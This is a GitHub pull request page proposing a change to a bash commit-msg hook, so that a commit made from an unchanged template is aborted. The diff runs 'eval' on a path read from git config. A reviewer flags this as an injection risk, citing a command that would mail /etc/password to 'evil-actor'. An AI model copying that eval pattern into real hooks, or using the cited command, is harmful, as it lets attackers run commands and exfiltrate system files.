-
Notifications
You must be signed in to change notification settings - Fork 4
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Update branch-name commit-msg hook, so when you use a commit template, and quit without changing it, the commit is aborted #6
base: master
Are you sure you want to change the base?
Changes from all commits
b3da896
828ee54
5b3d5b9
94c9417
57f3192
0094bb3
f3ff17c
f9404fd
b82975a
bd1b911
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -8,12 +8,42 @@ if [ -z "$BRANCHES_TO_SKIP" ]; then | |
BRANCHES_TO_SKIP=(master develop test main) | ||
fi | ||
|
||
|
||
BRANCH_NAME=$(git symbolic-ref --short HEAD) | ||
|
||
BRANCH_EXCLUDED=$(printf "%s\n" "${BRANCHES_TO_SKIP[@]}" | grep -c "^$BRANCH_NAME$") | ||
BRANCH_IN_COMMIT=$(grep -c "\[$BRANCH_NAME\]" $1) | ||
|
||
if [ -n "$BRANCH_NAME" ] && ! [[ $BRANCH_EXCLUDED -eq 1 ]] && ! [[ $BRANCH_IN_COMMIT -ge 1 ]]; then | ||
# Get the commit template path from git config | ||
COMMIT_TEMPLATE_PATH=$(git config --get commit.template) | ||
|
||
# Check if the commit template path is set | ||
if [ -n "$COMMIT_TEMPLATE_PATH" ]; then | ||
# Read the commit message file and filter out comment lines and empty lines | ||
COMMIT_MSG=$(grep -v '^#' "$1" | sed '/^[[:space:]]*$/d') | ||
|
||
# Expand the commit template path | ||
COMMIT_TEMPLATE_PATH=$(eval echo "$COMMIT_TEMPLATE_PATH") | ||
|
||
# Read the commit template file | ||
if [ -f "$COMMIT_TEMPLATE_PATH" ]; then | ||
COMMIT_TEMPLATE=$(cat "$COMMIT_TEMPLATE_PATH") | ||
else | ||
echo "Commit template file not found at $COMMIT_TEMPLATE_PATH" | ||
exit 1 | ||
fi | ||
|
||
# Filter out comment lines and empty lines from the commit template | ||
COMMIT_TEMPLATE=$(echo "$COMMIT_TEMPLATE" | grep -v '^#' | sed '/^[[:space:]]*$/d') | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. You can do this when reading; at line 30 do:
Dunno if you wanted to or not. |
||
|
||
# Check if the commit message matches the commit template | ||
if [ "$COMMIT_MSG" = "$COMMIT_TEMPLATE" ]; then | ||
echo "Aborting commit due to default commit message." | ||
exit 1 | ||
fi | ||
fi | ||
Comment on lines
+39
to
+44
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Another thing githook.py does, which I think is useful, is:
I do this sometimes when I'm creating a commit message and want to give up in the middle. |
||
|
||
if [ -n "$BRANCH_NAME" ] && ! [[ $BRANCH_EXCLUDED -eq 1 ]] && ! [[ $BRANCH_IN_COMMIT -ge 1 ]]; then | ||
BRANCH_NAME="${BRANCH_NAME//\//\\/}" | ||
sed -i.bak -e "1s/^/[$BRANCH_NAME] /" $1 | ||
fi | ||
fi |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
eval
always sets off alarm bells from a security perspective. Like what ifCOMMIT_TEMPLATE_PATH
is something like"cat /etc/password | sendmail evil-actor"
?I think you don't need it. Just replace the below with: